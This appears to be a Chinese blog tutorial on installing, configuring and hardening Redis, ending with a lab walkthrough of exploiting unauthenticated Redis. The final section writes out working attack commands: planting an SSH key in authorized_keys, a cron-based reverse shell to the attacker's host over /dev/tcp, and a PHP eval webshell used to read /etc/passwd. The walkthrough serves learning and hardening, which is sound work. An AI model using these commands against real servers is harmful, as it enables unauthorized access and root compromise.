Redis

Redis

1.编译安装

  首先下载源码并解压:

1
2
3
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -xzf redis-4.0.10.tar.gz
cd redis-4.0.10

  解压后进行相关软件包的安装

1
2
yum -y install gcc gcc-c++ kernel-devel
make

  进行make安装

1
2
3
4
5
make PREFIX=/usr/local/redis install
mkdir /usr/local/redis/etc/
cp redis.conf /usr/local/redis/etc/
cd /usr/local/redis/bin/
cp redis-benchmark redis-cli redis-server /usr/bin/

  修改相关配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
vim /usr/local/redis/etc/redis.conf
# 修改一下配置
# redis以守护进程的方式运行
# no表示不以守护进程的方式运行(会占用一个终端)
daemonize yes
# 客户端闲置多长时间后断开连接,默认为0关闭此功能 timeout 300
# 设置redis日志级别,默认级别:notice
loglevel verbose
# 设置日志文件的输出方式,如果以守护进程的方式运行redis 默认:""
# 并且日志输出设置为stdout,那么日志信息就输出到/dev/null里面去了 logfile stdout
# 设置密码授权
requirepass <43999> #这里的<>也是密码的一部分
# 监听ip
bind 127.0.0.1

  配置环境变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
vim /etc/profile
export PATH=$PATH:/usr/local/redis/bin
# 让环境变量立即生效
source /etc/profile
#创建启动脚本
vim redis

#!/bin/bash
#chkconfig: 2345 80 90
# Simple Redis init.d script conceived to work on Linux systems
# as it does use of the /proc filesystem.

PATH=/usr/local/bin:/sbin:/usr/bin:/bin
REDISPORT=6379
EXEC=/usr/local/redis/bin/redis-server
REDIS_CLI=/usr/local/redis/bin/redis-cli

PIDFILE=/var/run/redis.pid
CONF="/usr/local/redis/etc/redis.conf"

case "$1" in
start)
if [ -f $PIDFILE ]
then
echo "$PIDFILE exists, process is already running or crashed"
else
echo "Starting Redis server..."
$EXEC $CONF
fi
if [ "$?"="0" ]
then
echo "Redis is running..."
fi
;;
stop)
if [ ! -f $PIDFILE ]
then
echo "$PIDFILE does not exist, process is not running"
else
PID=$(cat $PIDFILE)
echo "Stopping ..."
$REDIS_CLI -p $REDISPORT SHUTDOWN
while [ -x ${PIDFILE} ]
do
echo "Waiting for Redis to shutdown ..."
sleep 1
done
echo "Redis stopped"
fi
;;
restart|force-reload)
${0} stop
${0} start
;;
*)
echo "Usage: /etc/init.d/redis {start|stop|restart|force-reload}" >&2
exit 1
esac

  接下来设置开机自启:

1
2
3
4
5
6
7
8
9
10
# 复制脚本文件到init.d目录下
cp redis /etc/init.d/
# 给脚本增加运行权限
chmod +x /etc/init.d/redis
# 查看服务列表
chkconfig --list
# 添加服务
chkconfig --add redis
# 配置启动级别
chkconfig --level 2345 redis on

  启动测试

1
2
3
4
5
6
systemctl start redis    
systemctl stop redis
# 查看redis进程
ps -el|grep redis
# 端口查看
netstat -an|grep 6379

  这里比较特殊的就是在Redis的编译安装过程中,通常不会提供一个单独的config文件。这是因为Redis的配置信息通常是通过命令行参数或者在启动脚本中直接指定的

2.配置文件

  Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf,我们可以通过config命令查看或者是设置配置项:

1
redis 127.0.0.1:6379> CONFIG GET loglevel

  这里需要注意的是在redis进行执行命令之前需要先进行身份验证,这是因为Redis默认情况下启用了身份验证机制,要求客户端在执行任何命令之前进行身份验证。如果你没有提供正确的身份验证信息,就会收到(error) NOAUTH Authentication required.的报错消息,这里有两种办法进行身份验证,一种是没进入redis前使用-a进行身份验证,或者进入后使用auth进行身份验证

1
2
redis-cli -a <43999>
auth <43999>

  处理指定某些配置以外,我们也能使用*号获取所有的配置项:

1
CONFIG GET *

3.数据类型

  我们需要提到的是在redis内部会使用一个redisObject对象来表示所有的key和value,redisObject的主要信息包括了数据类型、编码方式、数据指针、虚拟内存已经其他信息等,而这其中的数据类型就是支持五种数据类型,分别是string(字符串)、hash(哈希),list(列表)、set(集合)以及zset(有序集合),

  • String(字符串)

  字符串是redis的最基本类型,一个key对应了一个value,string类型是二进制安全,这意味着其可以存放任何数据,包括jpg图片或者序列化的对象,该类型的值最大的存储大小为512MB

1
2
set testtest
get test
  • Hash(哈希)

  Redis hash 是一个键值(key=>value)对集合。可以说是一个 string 类型的 field 和 value 的映射表:

1
2
3
4
del test
hmset test field1 “test1” field2 “test2”
hget test field1
hget test field2

  这里需要注意的是我们需要用del删除前面测试用过的key,否则会提示(error) WRONGTYPE Operation against a key holding the wrong kind of value,这错误意味着我们正在对一个键执行了与其存储的值类型不匹配的操作。

  案例中使用了 Redis HMSET, HGET 命令,HMSET 设置了两个 field=>value 对, HGET 获取对应 field 对应的 value

  • List(列表)

  Redis 列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)

1
2
3
4
5
del test
lpush test redis
lpush test mysql
lpush test mongodb
lrange test 0 2

  前面展示的是从头部插入(左边),如果需要再尾部(右边)进行插入的话,就引用rpush即可

  这里需要提及的是lrange test 0 2这一个查询语句,0和2分别表示要获取的元素的起始索引和结束索引,索引从0开始,所以0表示第一个元素,1表示第二个元素,依此类推。如果你想获取所有元素,可以将结束索引设置为-1即可

  • Set(集合)

  set数据类型就是string类型的无序版本,通过哈希表进行实现和添加,添加未存在的元素会反馈为1,如果元素已经存在集合中则会反馈为0

1
2
3
4
5
6
del test
sadd test redis
sadd test mongodb
sadd test mysql
sadd test redis
smembers test
  • Zset(有序集合)

  zset 和 set 一样也是string类型元素的集合,且不允许重复的成员。不同的是每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序。zset的成员是唯一的,但分数(score)却可以重复

1
2
3
4
5
6
7
8
9
10
del test
zadd test 0 redis
zadd test 0 mongodb
zadd test 0 mysql
zadd test 0 redis
zrangebyscore test 0 1000
zadd test 2 sqlserver
zrangebyscore test 0 1000
zadd test 1 orcel
zrangebyscore test 0 1000

  可以看到,在zset的有序集合中,数据是按照权重进行排序,小的靠前,达到靠后,在保留set的不重复的特性下,进行了排序功能的加入,接下来是学习redis的相关命令

4.操作命令

redis的命令是用于在redis服务上进行执行和操作,而这就需要一个redis的客户端与我们进行交互,这个客户端在我们之前下载的redis的安装包中就已经具备了

首先是进入客户端的命令:

1
redis-cli

前面也有体现过了,这里就不进行展示了,当我们打开字段输入该命令的时候,该命令就会连接本地的redis服务,而 我们能够进入服务执行ping命令加测redis是否启动

1
ping

5.数据备份与恢复

  与mysql数据库相同,redis也提供了数据库的备份功能,使用save用于创建数据库的备份,其语法为:

1
SAVE

  是的,没看错,save一个单词就是其备份的语法,这个命令会在redis安装的目录中创建一个dump.rdb的文件

  很奇怪,资料查阅是指备份是在安装的目录中创建对应的文件,但是这里是直接在/中创建了该文件,这里如果需要恢复数据,只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 CONFIG 命令

1
config get dir

  与save同样具有保存功能的还有bgsave,他们的区别就在于save命令是阻塞主进程,save操作完成之后,主进程才开始工作,客户端可以连接;bgsave命令是fork一个专门save的子进程,此操作不会影响主进程

  这里遇到了一些问题,就在备份进行恢复的时候是失败了的,后来我使用set命令并进行了一系列的操作都没有成功,我也删除了对应的test数据,并修改了配置文件,将密码修改为4399,但是当我重启虚拟机后,对应的redis.conf文件被读取了,恢复也成功了,能够重新的get到了对应的test数据,因此这里有些疑惑,猜测是由于前面编译安装的设置出现了问题,systemctl的对应路径有问题,回头再思考下

  回顾了前面的编译安装,似乎并没有问题,查看另一个shell脚本进行检验,接下来先检验下是否restart是否有问题,我这里实现查看对应的端口

1
ps -ef|grep redis

  杀死这个端口,然后进行start操作:

1
2
3
4
5
6
kill 4873
vim /usr/local/redis/etc/redis.conf #修改了密码查看是否有对应更新
ps -ef|grep redis
systemctl status redis
systemctl stop redis #杀死后还是显示活跃状态
systemctl start redis

  密码也是从4399修改为了43999,最后一张图也就是从43999再改回4399的尝试,确实证明了服务开启的时候,使用restart并没有加载修改的conf内容,但是当kill了对应的端口再执行start又能够加载到对应的内容了,这里我局的应该是我copy的一个shell脚本是有问题的,他的启动服务器的错误的(虽然我每日看出来是哪里的问题)通过检验也确实证明了是由于restart执行部加载配置文件的新内容导致的最终问题

6.安全配置问题

  为了增强Redis的安全性,我们可以采取以下一些常见的安全配置措施

  • 访问控制

  通过在Redis配置文件中设置bind选项,限制Redis只能绑定到特定的IP地址。您可以将其设置为127.0.0.1以仅允许本地访问,或者指定其他特定的IP地址。此外,还可以使用requirepass选项设置密码来保护Redis服务器(就是有点麻烦,如果那个有效时间设置短了的话,会失效,需要重新输代码)

  访问控制指令:

1
bind 127.0.0.1

  设置密码指令:

1
requirepass 4399
  • 防火墙设置

  使用防火墙软件(如iptables)来限制对Redis端口的访问。只允许来自受信任的IP地址或网络的连接请求

  使用iptables允许特定IP地址或网络的连接请求:

1
iptables -A INPUT -p tcp -s trusted_ip_address -m tcp --dport 6379 -j ACCEPT
  • 禁用危险命令

  Redis提供了一些危险的命令(如FLUSHALL和CONFIG命令),可能会导致数据丢失或服务器被攻击。可以通过修改Redis配置文件中的rename-command选项,将这些危险命令重命名或禁用

  将FLUSHALL命令重命名为DISABLED_FLUSHALL:

1
rename-command FLUSHALL DISABLED_FLUSHALL

  禁用CONFIG命令:

1
rename-command CONFIG ""
  • 日志记录

  启用Redis的日志记录功能,并定期检查日志文件以监视潜在的安全问题

1
logfile /var/log/redis/redis.log

7.版本6靶场搭建

首先安装redis,因为前面演示的是4.0版本你,这里跟随文章使用更加新的版本进行下载安装

1
2
3
4
wget https://download.redis.io/releases/redis-6.2.5.tar.gz
tar xzf redis-6.2.5.tar.gz
cd redis-6.2.5
make //编译成功即是redis成功安装

接下来启动redis进行验证

1
2
cd src
./redis-server

然后去除ip绑定,首先找到redis的配置文件redis.conf,去除ip绑定,这样子能够允许除本地外的主机远程邓丽redis服务进行操作:

用/进行定位,找到并在bind 127.0.0.1 前面加个注释符 #

这里需要关闭报货模式,允许远程连接,与ip绑定是一个道理:

用/进行定位,找到并将protested-mode的yes改为no

接下来重启服务,这里要注意在重启的时候要指定redis.conf这样redis.conf才可以生效

1
./redis-server /root/redis-6.2.5/redis.conf

之后使用status查看,如果为开启状态则使用stop进行关闭

1
2
systemctl status firewalld.service
systemctl stop firewalld.service

8.漏洞复现举例

  这里使用两个虚拟机,目标靶机为centos7的系统,攻击主机位最新的20232版本kali

1
2
目标靶机ip192.168.70.180
攻击主机ip192.168.70.172
  • 进行端口扫描测试

  使用namp进行扫描,-p指定6379端口,-sS 是 nmap 命令的一个选项。-sS 选项代表 “TCP SYN 扫描”,它是一种端口扫描技术。这种扫描会向目标主机发送 TCP SYN 数据包,并分析响应来确定哪些端口是开放的

1
namp –Ss 192.168.70.180 -p 6379

  前者是没开启redis服务的时候进行扫描动作,后者则是开启了redis服务后进行的相关扫描

  • 进行客户端连接测试

  首先这里也在攻击主机kali上下载redis服务,用于连接远程的客户目标靶机,安装流程一致

  接下来利用redis-cli进行目标靶机的redis服务连接:

1
2
3
cd ~/redis-6.2.5/src
./redis-server #需要开启服务先
./redis-cli -h 192.168.70.180

  使用 redis 客户端连接测试,发现存在未授权访问的漏洞(肯定的,目标靶机啥都关了),接下来就是利用 redis 未授权访问漏洞 getshell 了

  • 公私钥认证getshell
1)检验前提条件

  首先在进行公私钥认证攻击前,我们需要确保redis服务使用root账号启动,并且服务器开放了ssh服务允许使用密钥登录,这里检验root账户启动:

  其次是ssh是否开放:

1
2
3
ps –ef|grep ssh
find / -name sshd_config
vim /etc/ssh/sshd_config

2)生成使用密钥

  验证完毕,接下来使用kali攻击机执行生成密钥命令:

1
ssh-keygen -t rsa

  运行ssh-keygen命令时,它会要求你提供一个文件名来保存密钥,默认情况下是/root/.ssh/id_rsa。如果想将密钥保存到不同的位置,可以输入想要的文件名。

  接下来,它会要求设置一个密码短语(passphrase)。密码短语是用于保护私钥的额外层安全性。如果不想设置密码短语,可以直接按回车键跳过。但请注意,设置密码短语可以增加私钥的安全性,因为即使私钥被盗,没有密码短语,攻击者也无法使用它。最后,它会再次要求确认密码短语。请确保两次输入的密码短语相同即可,这里是使用的密码短语是lhy,好咧这里就设置完

3)查看.ssh 文件

  这里使用命令查看是否存在root/.ssh文件,并将备份文件进行了名字修改,生成对应的keys连接文件

1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

  昨天的reids数据备份和恢复中也有相关指令的介绍和认识,这里的config set dbfilename authorized_keys就是将原本你默认的存储文件修改成了存放密钥的文件名字,这样子就能够后面使用公钥写入并ssh连接了

4)写入公钥
1
2
3
4
5
cd .ssh/ 
#将生成的公钥保存到redistest.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt
#将保存ssh公钥的redistext.txt写入redis
cat redistest.txt | redis-cli -h 192.168.70.180 -x set redistest

  这里保存后,需要进行save操作,保存相关的文件,我这里犯傻;了,忘记使用save进行备份,一直在排错(我是傻呗),save之后,目标靶机的对应authorized_key就会有密钥内容了

5)密钥连接
1
ssh -i id_rsa root@192.168.70.180
  • 计划任务反弹shell

  前提依旧是redis需要以root身份运行

1)监听端口

  在kali开启nc监听端口6666

1
nc –nvlp 6666

  这里使用nc命令来创建一个监听器,等待其他计算机通过网络连接到该端口。-n选项表示禁用DNS解析,-v选项表示启用详细输出,-l选项表示监听模式,-p选项指定要监听的端口号

2)连接redis后写入shell
1
2
3
4
5
redis-cli -h 192.168.70.180
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.70.172/6666 0>&1\n"
config set dbfilename root
save
3)kali监听反弹shell
  • 绝对路径写webshell

  前提是服务器存在WEB网站,且知道绝对路径,比如:

  使用了之前搭建的lnmp系统,这里查看nginx的conf文件查看根目录在哪即可:

  获取到了根目录之后,接下来进行相关的一句代码写入

1
2
3
4
config set dir /usr/share/nginx/html/
config set dbfilename redis.php
set shell " <?php @eval($_POST['x']); ?>"
save

  成功 getshell ,是普通用户权限,接下来可以进一步提权即可,这里用到了一个hackbar工具,是火狐扩展的黑客工具,使用即可:

1
2
#获取密码
x=system('cat /etc/passwd');
1
x=system('whoami');

  至此,redis的入侵模拟结束


Redis
https://one-null-pointer.github.io/2023/06/05/Linux运维——Redis/
Author
liaoyue
Posted on
June 5, 2023
传送口